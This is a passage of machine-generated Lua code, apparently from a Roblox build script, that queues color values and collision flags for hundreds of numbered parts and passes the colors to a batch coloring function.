			if P[587] then colorBatch[#colorBatch+1] = {Part = P[587], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
			if P[464] then colorBatch[#colorBatch+1] = {Part = P[464], Color = Color3.new(0.42352941632270813,0.3450980484485626,0.29411765933036804), UnionColoring = false} end
			if P[611] then colorBatch[#colorBatch+1] = {Part = P[611], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[571] then colorBatch[#colorBatch+1] = {Part = P[571], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[635] then colorBatch[#colorBatch+1] = {Part = P[635], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
			if P[166] then colorBatch[#colorBatch+1] = {Part = P[166], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
			if P[435] then colorBatch[#colorBatch+1] = {Part = P[435], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[555] then colorBatch[#colorBatch+1] = {Part = P[555], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[175] then colorBatch[#colorBatch+1] = {Part = P[175], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
			if P[663] then colorBatch[#colorBatch+1] = {Part = P[663], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[579] then colorBatch[#colorBatch+1] = {Part = P[579], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end
			if P[657] then colorBatch[#colorBatch+1] = {Part = P[657], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[470] then colorBatch[#colorBatch+1] = {Part = P[470], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[767] then colorBatch[#colorBatch+1] = {Part = P[767], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
			if P[491] then colorBatch[#colorBatch+1] = {Part = P[491], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[607] then colorBatch[#colorBatch+1] = {Part = P[607], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end
			if P[631] then colorBatch[#colorBatch+1] = {Part = P[631], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
			if P[770] then colorBatch[#colorBatch+1] = {Part = P[770], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
			if P[473] then colorBatch[#colorBatch+1] = {Part = P[473], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[694] then colorBatch[#colorBatch+1] = {Part = P[694], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[615] then colorBatch[#colorBatch+1] = {Part = P[615], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end
			if P[428] then colorBatch[#colorBatch+1] = {Part = P[428], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
			if P[575] then colorBatch[#colorBatch+1] = {Part = P[575], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
			if P[627] then colorBatch[#colorBatch+1] = {Part = P[627], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[501] then colorBatch[#colorBatch+1] = {Part = P[501], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[479] then colorBatch[#colorBatch+1] = {Part = P[479], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[676] then colorBatch[#colorBatch+1] = {Part = P[676], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end
			if P[595] then colorBatch[#colorBatch+1] = {Part = P[595], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
			if P[656] then colorBatch[#colorBatch+1] = {Part = P[656], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end
			if P[648] then colorBatch[#colorBatch+1] = {Part = P[648], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[78] then colorBatch[#colorBatch+1] = {Part = P[78], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
			if P[461] then colorBatch[#colorBatch+1] = {Part = P[461], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[669] then colorBatch[#colorBatch+1] = {Part = P[669], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end
			if P[82] then colorBatch[#colorBatch+1] = {Part = P[82], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[72] then colorBatch[#colorBatch+1] = {Part = P[72], Color = Color3.new(0.23529411852359772,0.2862745225429535,0.3450980484485626), UnionColoring = false} end
			if P[540] then colorBatch[#colorBatch+1] = {Part = P[540], Color = Color3.new(0.42352941632270813,0.3450980484485626,0.29411765933036804), UnionColoring = false} end
			if P[703] then colorBatch[#colorBatch+1] = {Part = P[703], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[619] then colorBatch[#colorBatch+1] = {Part = P[619], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[751] then colorBatch[#colorBatch+1] = {Part = P[751], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
			if P[522] then colorBatch[#colorBatch+1] = {Part = P[522], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[204] then colorBatch[#colorBatch+1] = {Part = P[204], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
			if P[114] then colorBatch[#colorBatch+1] = {Part = P[114], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
			if P[525] then colorBatch[#colorBatch+1] = {Part = P[525], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[270] then colorBatch[#colorBatch+1] = {Part = P[270], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
			if P[664] then colorBatch[#colorBatch+1] = {Part = P[664], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[745] then colorBatch[#colorBatch+1] = {Part = P[745], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
			if P[670] then colorBatch[#colorBatch+1] = {Part = P[670], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[732] then colorBatch[#colorBatch+1] = {Part = P[732], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
			if P[271] then colorBatch[#colorBatch+1] = {Part = P[271], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
			if P[532] then colorBatch[#colorBatch+1] = {Part = P[532], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[671] then colorBatch[#colorBatch+1] = {Part = P[671], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[268] then colorBatch[#colorBatch+1] = {Part = P[268], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end
			if P[558] then colorBatch[#colorBatch+1] = {Part = P[558], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[567] then colorBatch[#colorBatch+1] = {Part = P[567], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[697] then colorBatch[#colorBatch+1] = {Part = P[697], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[691] then colorBatch[#colorBatch+1] = {Part = P[691], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[720] then colorBatch[#colorBatch+1] = {Part = P[720], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
			if P[476] then colorBatch[#colorBatch+1] = {Part = P[476], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[653] then colorBatch[#colorBatch+1] = {Part = P[653], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[528] then colorBatch[#colorBatch+1] = {Part = P[528], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[677] then colorBatch[#colorBatch+1] = {Part = P[677], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[650] then colorBatch[#colorBatch+1] = {Part = P[650], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[661] then colorBatch[#colorBatch+1] = {Part = P[661], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[599] then colorBatch[#colorBatch+1] = {Part = P[599], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
			if P[498] then colorBatch[#colorBatch+1] = {Part = P[498], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[186] then colorBatch[#colorBatch+1] = {Part = P[186], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
			if P[504] then colorBatch[#colorBatch+1] = {Part = P[504], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[646] then colorBatch[#colorBatch+1] = {Part = P[646], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[132] then colorBatch[#colorBatch+1] = {Part = P[132], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
			if P[623] then colorBatch[#colorBatch+1] = {Part = P[623], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end
			if P[488] then colorBatch[#colorBatch+1] = {Part = P[488], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[157] then colorBatch[#colorBatch+1] = {Part = P[157], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
			if P[507] then colorBatch[#colorBatch+1] = {Part = P[507], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[247] then colorBatch[#colorBatch+1] = {Part = P[247], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
			if P[660] then colorBatch[#colorBatch+1] = {Part = P[660], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[672] then colorBatch[#colorBatch+1] = {Part = P[672], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[456] then colorBatch[#colorBatch+1] = {Part = P[456], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[467] then colorBatch[#colorBatch+1] = {Part = P[467], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[123] then colorBatch[#colorBatch+1] = {Part = P[123], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
			if P[773] then colorBatch[#colorBatch+1] = {Part = P[773], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
			if P[652] then colorBatch[#colorBatch+1] = {Part = P[652], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end
			if P[655] then colorBatch[#colorBatch+1] = {Part = P[655], Color = Color3.new(0.12941177189350128,0.3294117748737335,0.7254902124404907), UnionColoring = false} end
			if P[688] then colorBatch[#colorBatch+1] = {Part = P[688], Color = Color3.new(0.42352941632270813,0.3450980484485626,0.29411765933036804), UnionColoring = false} end
			if P[761] then colorBatch[#colorBatch+1] = {Part = P[761], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
			if P[755] then colorBatch[#colorBatch+1] = {Part = P[755], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
			if P[549] then colorBatch[#colorBatch+1] = {Part = P[549], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[741] then colorBatch[#colorBatch+1] = {Part = P[741], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
			if P[494] then colorBatch[#colorBatch+1] = {Part = P[494], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[433] then colorBatch[#colorBatch+1] = {Part = P[433], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[238] then colorBatch[#colorBatch+1] = {Part = P[238], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
			if P[537] then colorBatch[#colorBatch+1] = {Part = P[537], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[729] then colorBatch[#colorBatch+1] = {Part = P[729], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
			if P[227] then colorBatch[#colorBatch+1] = {Part = P[227], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
			if P[712] then colorBatch[#colorBatch+1] = {Part = P[712], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[96] then colorBatch[#colorBatch+1] = {Part = P[96], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
			if P[546] then colorBatch[#colorBatch+1] = {Part = P[546], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[724] then colorBatch[#colorBatch+1] = {Part = P[724], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
			if P[482] then colorBatch[#colorBatch+1] = {Part = P[482], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[603] then colorBatch[#colorBatch+1] = {Part = P[603], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
			if P[639] then colorBatch[#colorBatch+1] = {Part = P[639], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
			if P[716] then colorBatch[#colorBatch+1] = {Part = P[716], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
			if P[265] then colorBatch[#colorBatch+1] = {Part = P[265], Color = Color3.new(0.10588235408067703,0.16470588743686676,0.2078431397676468), UnionColoring = false} end
			if P[552] then colorBatch[#colorBatch+1] = {Part = P[552], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[709] then colorBatch[#colorBatch+1] = {Part = P[709], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[674] then colorBatch[#colorBatch+1] = {Part = P[674], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[87] then colorBatch[#colorBatch+1] = {Part = P[87], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
			if P[583] then colorBatch[#colorBatch+1] = {Part = P[583], Color = Color3.new(0.38823530077934265,0.37254902720451355,0.3843137323856354), UnionColoring = false} end
			if P[256] then colorBatch[#colorBatch+1] = {Part = P[256], Color = Color3.new(0.9490196108818054,0.9529411792755127,0.9529411792755127), UnionColoring = false} end
			if P[105] then colorBatch[#colorBatch+1] = {Part = P[105], Color = Color3.new(0.4313725531101227,0.6000000238418579,0.7921568751335144), UnionColoring = false} end
			if P[516] then colorBatch[#colorBatch+1] = {Part = P[516], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[682] then colorBatch[#colorBatch+1] = {Part = P[682], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[485] then colorBatch[#colorBatch+1] = {Part = P[485], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[564] then colorBatch[#colorBatch+1] = {Part = P[564], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[665] then colorBatch[#colorBatch+1] = {Part = P[665], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[430] then colorBatch[#colorBatch+1] = {Part = P[430], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[543] then colorBatch[#colorBatch+1] = {Part = P[543], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[662] then colorBatch[#colorBatch+1] = {Part = P[662], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[659] then colorBatch[#colorBatch+1] = {Part = P[659], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			if P[591] then colorBatch[#colorBatch+1] = {Part = P[591], Color = Color3.new(0.9725490212440491,0.9725490212440491,0.9725490212440491), UnionColoring = false} end
			if P[513] then colorBatch[#colorBatch+1] = {Part = P[513], Color = Color3.new(0.42352941632270813,0.3450980484485626,0.29411765933036804), UnionColoring = false} end
			if P[454] then colorBatch[#colorBatch+1] = {Part = P[454], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[458] then colorBatch[#colorBatch+1] = {Part = P[458], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[451] then colorBatch[#colorBatch+1] = {Part = P[451], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
			if P[644] then colorBatch[#colorBatch+1] = {Part = P[644], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
			batchColor(endpoint, colorBatch)
			local collisionBatch = {}
			if P[8] then collisionBatch[#collisionBatch+1] = {Part = P[8], CanCollide = true} end
			if P[9] then collisionBatch[#collisionBatch+1] = {Part = P[9], CanCollide = true} end
			if P[10] then collisionBatch[#collisionBatch+1] = {Part = P[10], CanCollide = true} end
			if P[11] then collisionBatch[#collisionBatch+1] = {Part = P[11], CanCollide = true} end
			if P[12] then collisionBatch[#collisionBatch+1] = {Part = P[12], CanCollide = true} end
			if P[14] then collisionBatch[#collisionBatch+1] = {Part = P[14], CanCollide = true} end
			if P[15] then collisionBatch[#collisionBatch+1] = {Part = P[15], CanCollide = true} end
			if P[16] then collisionBatch[#collisionBatch+1] = {Part = P[16], CanCollide = true} end
			if P[17] then collisionBatch[#collisionBatch+1] = {Part = P[17], CanCollide = true} end
			if P[18] then collisionBatch[#collisionBatch+1] = {Part = P[18], CanCollide = true} end
			if P[21] then collisionBatch[#collisionBatch+1] = {Part = P[21], CanCollide = false} end
			if P[22] then collisionBatch[#collisionBatch+1] = {Part = P[22], CanCollide = false} end
			if P[23] then collisionBatch[#collisionBatch+1] = {Part = P[23], CanCollide = false} end
			if P[24] then collisionBatch[#collisionBatch+1] = {Part = P[24], CanCollide = false} end
			if P[25] then collisionBatch[#collisionBatch+1] = {Part = P[25], CanCollide = false} end
			if P[26] then collisionBatch[#collisionBatch+1] = {Part = P[26], CanCollide = false} end
			if P[27] then collisionBatch[#collisionBatch+1] = {Part = P[27], CanCollide = false} end
			if P[28] then collisionBatch[#collisionBatch+1] = {Part = P[28], CanCollide = false} end
			if P[29] then collisionBatch[#collisionBatch+1] = {Part = P[29], CanCollide = false} end
			if P[30] then collisionBatch[#collisionBatch+1] = {Part = P[30], CanCollide = false} end
			if P[31] then collisionBatch[#collisionBatch+1] = {Part = P[31], CanCollide = false} end
			if P[32] then collisionBatch[#collisionBatch+1] = {Part = P[32], CanCollide = false} end
			if P[33] then collisionBatch[#collisionBatch+1] = {Part = P[33], CanCollide = false} end
			if P[34] then collisionBatch[#collisionBatch+1] = {Part = P[34], CanCollide = false} end
			if P[35] then collisionBatch[#collisionBatch+1] = {Part = P[35], CanCollide = false} end
			if P[36] then collisionBatch[#collisionBatch+1] = {Part = P[36], CanCollide = false} end
			if P[37] then collisionBatch[#collisionBatch+1] = {Part = P[37], CanCollide = false} end
			if P[38] then collisionBatch[#collisionBatch+1] = {Part = P[38], CanCollide = false} end
			if P[39] then collisionBatch[#collisionBatch+1] = {Part = P[39], CanCollide = false} end
			if P[40] then collisionBatch[#collisionBatch+1] = {Part = P[40], CanCollide = false} end
			if P[41] then collisionBatch[#collisionBatch+1] = {Part = P[41], CanCollide = false} end
			if P[42] then collisionBatch[#collisionBatch+1] = {Part = P[42], CanCollide = false} end
			if P[43] then collisionBatch[#collisionBatch+1] = {Part = P[43], CanCollide = false} end
			if P[44] then collisionBatch[#collisionBatch+1] = {Part = P[44], CanCollide = false} end
			if P[45] then collisionBatch[#collisionBatch+1] = {Part = P[45], CanCollide = false} end
			if P[46] then collisionBatch[#collisionBatch+1] = {Part = P[46], CanCollide = false} end
			if P[151] then collisionBatch[#collisionBatch+1] = {Part = P[151], CanCollide = true} end
			if P[673] then collisionBatch[#collisionBatch+1] = {Part = P[673], CanCollide = true} end
			if P[685] then collisionBatch[#collisionBatch+1] = {Part = P[685], CanCollide = true} end
			if P[706] then collisionBatch[#collisionBatch+1] = {Part = P[706], CanCollide = true} end
			if P[561] then collisionBatch[#collisionBatch+1] = {Part = P[561], CanCollide = true} end
			if P[667] then collisionBatch[#collisionBatch+1] = {Part = P[667], CanCollide = true} end
			if P[675] then collisionBatch[#collisionBatch+1] = {Part = P[675], CanCollide = true} end
			if P[736] then collisionBatch[#collisionBatch+1] = {Part = P[736], CanCollide = true} end
			if P[519] then collisionBatch[#collisionBatch+1] = {Part = P[519], CanCollide = true} end
			if P[700] then collisionBatch[#collisionBatch+1] = {Part = P[700], CanCollide = true} end
			if P[510] then collisionBatch[#collisionBatch+1] = {Part = P[510], CanCollide = true} end
			if P[587] then collisionBatch[#collisionBatch+1] = {Part = P[587], CanCollide = true} end
			if P[464] then collisionBatch[#collisionBatch+1] = {Part = P[464], CanCollide = true} end
			if P[611] then collisionBatch[#collisionBatch+1] = {Part = P[611], CanCollide = true} end
			if P[571] then collisionBatch[#collisionBatch+1] = {Part = P[571], CanCollide = true} end
			if P[635] then collisionBatch[#collisionBatch+1] = {Part = P[635], CanCollide = true} end
			if P[166] then collisionBatch[#collisionBatch+1] = {Part = P[166], CanCollide = true} end
			if P[435] then collisionBatch[#collisionBatch+1] = {Part = P[435], CanCollide = true} end
			if P[555] then collisionBatch[#collisionBatch+1] = {Part = P[555], CanCollide = true} end
			if P[175] then collisionBatch[#collisionBatch+1] = {Part = P[175], CanCollide = true} end
			if P[663] then collisionBatch[#collisionBatch+1] = {Part = P[663], CanCollide = false} end
			if P[579] then collisionBatch[#collisionBatch+1] = {Part = P[579], CanCollide = true} end
			if P[657] then collisionBatch[#collisionBatch+1] = {Part = P[657], CanCollide = true} end
			if P[470] then collisionBatch[#collisionBatch+1] = {Part = P[470], CanCollide = true} end
			if P[767] then collisionBatch[#collisionBatch+1] = {Part = P[767], CanCollide = true} end
			if P[491] then collisionBatch[#collisionBatch+1] = {Part = P[491], CanCollide = true} end
			if P[607] then collisionBatch[#collisionBatch+1] = {Part = P[607], CanCollide = true} end
			if P[631] then collisionBatch[#collisionBatch+1] = {Part = P[631], CanCollide = true} end
			if P[770] then collisionBatch[#collisionBatch+1] = {Part = P[770], CanCollide = true} end
			if P[473] then collisionBatch[#collisionBatch+1] = {Part = P[473], CanCollide = true} end
			if P[694] then collisionBatch[#collisionBatch+1] = {Part = P[694], CanCollide = true} end
			if P[615] then collisionBatch[#collisionBatch+1] = {Part = P[615], CanCollide = true} end
			if P[428] then collisionBatch[#collisionBatch+1] = {Part = P[428], CanCollide = true} end
			if P[575] then collisionBatch[#collisionBatch+1] = {Part = P[575], CanCollide = true} end
			if P[627] then collisionBatch[#collisionBatch+1] = {Part = P[627], CanCollide = true} end
			if P[501] then collisionBatch[#collisionBatch+1] = {Part = P[501], CanCollide = true} end
			if P[479] then collisionBatch[#collisionBatch+1] = {Part = P[479], CanCollide = true} end
			if P[676] then collisionBatch[#collisionBatch+1] = {Part = P[676], CanCollide = true} end
			if P[595] then collisionBatch[#collisionBatch+1] = {Part = P[595], CanCollide = true} end
			if P[656] then collisionBatch[#collisionBatch+1] = {Part = P[656], CanCollide = true} end
			if P[648] then collisionBatch[#collisionBatch+1] = {Part = P[648], CanCollide = true} end
			if P[78] then collisionBatch[#collisionBatch+1] = {Part = P[78], CanCollide = true} end
			if P[461] then collisionBatch[#collisionBatch+1] = {Part = P[461], CanCollide = true} end
			if P[669] then collisionBatch[#collisionBatch+1] = {Part = P[669], CanCollide = true} end
			if P[82] then collisionBatch[#collisionBatch+1] = {Part = P[82], CanCollide = false} end
			if P[72] then collisionBatch[#collisionBatch+1] = {Part = P[72], CanCollide = true} end
			if P[540] then collisionBatch[#collisionBatch+1] = {Part = P[540], CanCollide = true} end
			if P[703] then collisionBatch[#collisionBatch+1] = {Part = P[703], CanCollide = true} end
			if P[619] then collisionBatch[#collisionBatch+1] = {Part = P[619], CanCollide = true} end
			if P[751] then collisionBatch[#collisionBatch+1] = {Part = P[751], CanCollide = true} end
			if P[522] then collisionBatch[#collisionBatch+1] = {Part = P[522], CanCollide = true} end
			if P[204] then collisionBatch[#collisionBatch+1] = {Part = P[204], CanCollide = true} end
			if P[114] then collisionBatch[#collisionBatch+1] = {Part = P[114], CanCollide = true} end
			if P[525] then collisionBatch[#collisionBatch+1] = {Part = P[525], CanCollide = true} end
			if P[270] then collisionBatch[#collisionBatch+1] = {Part = P[270], CanCollide = true} end
			if P[664] then collisionBatch[#collisionBatch+1] = {Part = P[664], CanCollide = true} end
			if P[745] then collisionBatch[#collisionBatch+1] = {Part = P[745], CanCollide = true} end
			if P[670] then collisionBatch[#collisionBatch+1] = {Part = P[670], CanCollide = true} end
			if P[732] then collisionBatch[#collisionBatch+1] = {Part = P[732], CanCollide = true} end
			if P[271] then collisionBatch[#collisionBatch+1] = {Part = P[271], CanCollide = false} end
			if P[532] then collisionBatch[#collisionBatch+1] = {Part = P[532], CanCollide = true} end
			if P[671] then collisionBatch[#collisionBatch+1] = {Part = P[671], CanCollide = true} end
			if P[268] then collisionBatch[#collisionBatch+1] = {Part = P[268], CanCollide = true} end
			if P[558] then collisionBatch[#collisionBatch+1] = {Part = P[558], CanCollide = true} end
			if P[567] then collisionBatch[#collisionBatch+1] = {Part = P[567], CanCollide = true} end
			if P[697] then collisionBatch[#collisionBatch+1] = {Part = P[697], CanCollide = true} end
			if P[691] then collisionBatch[#collisionBatch+1] = {Part = P[691], CanCollide = true} end
			if P[720] then collisionBatch[#collisionBatch+1] = {Part = P[720], CanCollide = true} end
			if P[476] then collisionBatch[#collisionBatch+1] = {Part = P[476], CanCollide = true} end
			if P[653] then collisionBatch[#collisionBatch+1] = {Part = P[653], CanCollide = true} end
			if P[528] then collisionBatch[#collisionBatch+1] = {Part = P[528], CanCollide = true} end
			if P[677] then collisionBatch[#collisionBatch+1] = {Part = P[677], CanCollide = true} end
			if P[650] then collisionBatch[#collisionBatch+1] = {Part = P[650], CanCollide = true} end
			if P[661] then collisionBatch[#collisionBatch+1] = {Part = P[661], CanCollide = true} end
			if P[599] then collisionBatch[#collisionBatch+1] = {Part = P[599], CanCollide = true} end
			if P[498] then collisionBatch[#collisionBatch+1] = {Part = P[498], CanCollide = true} end
			if P[186] then collisionBatch[#collisionBatch+1] = {Part = P[186], CanCollide = false} end
			if P[504] then collisionBatch[#collisionBatch+1] = {Part = P[504], CanCollide = true} end
			if P[646] then collisionBatch[#collisionBatch+1] = {Part = P[646], CanCollide = true} end
			if P[132] then collisionBatch[#collisionBatch+1] = {Part = P[132], CanCollide = true} end
			if P[623] then collisionBatch[#collisionBatch+1] = {Part = P[623], CanCollide = true} end
			if P[488] then collisionBatch[#collisionBatch+1] = {Part = P[488], CanCollide = true} end
			if P[157] then collisionBatch[#collisionBatch+1] = {Part = P[157], CanCollide = true} end
			if P[507] then collisionBatch[#collisionBatch+1] = {Part = P[507], CanCollide = true} end
			if P[247] then collisionBatch[#collisionBatch+1] = {Part = P[247], CanCollide = true} end
			if P[660] then collisionBatch[#collisionBatch+1] = {Part = P[660], CanCollide = true} end
			if P[672] then collisionBatch[#collisionBatch+1] = {Part = P[672], CanCollide = true} end
